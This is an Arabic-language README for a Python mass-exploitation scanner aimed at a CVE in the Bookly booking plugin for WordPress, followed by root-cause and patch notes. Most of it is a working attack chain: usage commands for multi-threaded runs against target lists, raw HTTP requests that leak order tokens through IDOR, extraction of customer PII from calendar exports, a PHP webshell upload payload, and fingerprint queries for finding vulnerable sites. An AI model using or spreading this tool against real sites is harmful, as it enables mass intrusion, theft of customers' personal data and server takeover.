
ماسح استغلال جماعي بلغة Python للثغرة CVE-2026-93399 في إضافة Bookly لـ WordPress: كشف الإصدار، وتعداد رموز الطلبات عبر IDOR دون مصادقة، واستخراج المعلومات الشخصية (PII)، والتنفيذ عن بُعد عبر webshell (RCE).
Bookly <= 28.2 IDOR غير مُصادَق + تسريب PII + RCE
ماسح استغلال جماعي لـ CVE-2026-93399 (CVSS 9.1 حرج) يؤثر على إضافة WordPress Bookly — Online Scheduling and Appointment Booking System (الإصدارات <= 28.2).
إضافة Bookly لـ WordPress عرضة لثغرة المرجع المباشر غير الآمن للكائنات (IDOR) عبر إجراءات AJAX التالية: bookly_get_form_id وbookly_render_complete وbookly_add_to_calendar وbookly_rollback_order. جميع الإجراءات غير مُصادَقة (_default => 'anonymous') وحماية CSRF معطّلة (csrfTokenValid() تُرجع true).
يقوم المعالج bookly_get_form_id بتخزين form_data الذي يتحكم به المهاجم (بما في ذلك order_id) بشكل أعمى داخل جلسة حجز جديدة دون أي تحقق. ثم يثق المعالج bookly_render_complete في order_id المحقون هذا للبحث عن الرمز السري للطلب (Order) المقابل وإرجاعه — مما يمكّن المهاجمين غير المُصادَقين من تعداد معرّفات الطلبات المتسلسلة، والكشف عن رموز طلبات عملاء آخرين، واسترداد معلومات التقويم/المواعيد، وحذف أي حجوزات غير مكتملة بشكل دائم.
Step 1: getFormId → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete → leak victim order token via Order::query()
Step 3: addToCalendar → extract customer PII (staff name, email, service, date)
Step 4: sessionSave → inject file payload (RCE, requires Files add-on)
_prepareFormData() ومُطهِّر _prepareCartData())requestspip install requests
git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests
# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect
# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50
# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii
# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce
# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full
# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt
# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20
| العَلَم | الوصف |
|---|---|
-u, --url | عنوان URL هدف واحد |
-f, --file | ملف يحتوي على عناوين URL للأهداف (واحد في كل سطر) |
--detect | التحقق من الإصدار فقط (آمن) |
--enumerate | IDOR: تسريب رموز الطلبات |
--pii | استخراج البيانات الشخصية (PII) عبر تصدير تقويم ICS |
--rce | محاولة رفع webshell |
--full | السلسلة الكاملة: IDOR + PII + RCE |
--start N | بدء order_id (الافتراضي: 1) |
--end N | إنهاء order_id (الافتراضي: 50) |
-th, --threads N | عدد الخيوط (الافتراضي: 5) |
-o, --output FILE | ملف الإخراج (الافتراضي: results.txt) |
-v, --verbose | إظهار جميع المحاولات |
body="bookly-responsive-appointment-booking-tool"
body="BooklyL10nGlobal"
body="bookly-main.css?ver=28.2"
body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"
body="bookly-addon-files"
body="bookly-js-upload"
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1
الاستجابة:
{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}
الكود القابل للاستغلال (Ajax.php:45-46):
$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2
POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...
الاستجابة:
{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}
الكود القابل للاستغلال (Ajax.php:733):
'bookly_order' => Lib\Entities\Order::query()
->where('id', $userData->getOrderId()) // attacker-controlled
->fetchVar('token') // victim token leaked
GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics
الاستجابة: ملف ICS يحتوي على بيانات العملاء:
BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT
POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)
موقع Shell: /wp-content/uploads/bookly-files/shell.php
http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id
يخزّن المعالج getFormId() معامل form_data بالكامل (وهو JSON يتحكم به المستخدم) في قاعدة بيانات الجلسة دون أي قائمة بيضاء أو تنقية. يتيح ذلك للمهاجم حقن مفاتيح جلسة عشوائية، بما في ذلك order_id.
يقرأ المعالج renderComplete() قيمة order_id من الجلسة ويستعلم من جدول Order مباشرةً — دون التحقق من أن الجلسة الحالية هي التي أنشأت ذلك الطلب.
csrfTokenValid() لتُرجع return true في وحدة الحجزpermissions() القيمة array('_default' => 'anonymous')، لذا يسجّل كل معالج كلاً من الخطافين wp_ajax_ وwp_ajax_nopriv_أضافت النسخة 28.3 الدالة _prepareFormData() — وهي قائمة بيضاء صارمة تُزيل كل شيء عدا إعدادات العرض (skip_service_step، hide_service_part1، hide_service_part2، defaults). كما أضافت _prepareCartData() لتنقية مفاتيح عناصر السلة.
// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));
يتطلب تنفيذ RCE عبر رفع webshell ما يلي:
نقطة النهاية AJAX bookly_files_upload غير مُصادَق عليها وتقبل عمليات رفع الملفات متعددة الأجزاء مباشرةً. ومع ذلك، تتحقق إضافة Files من امتدادات الملفات مقابل قائمة مسموح بها. إذا كانت القائمة المسموح بها مُهيّأة بشكل صحيح، فسيتم حظر جميع امتدادات PHP.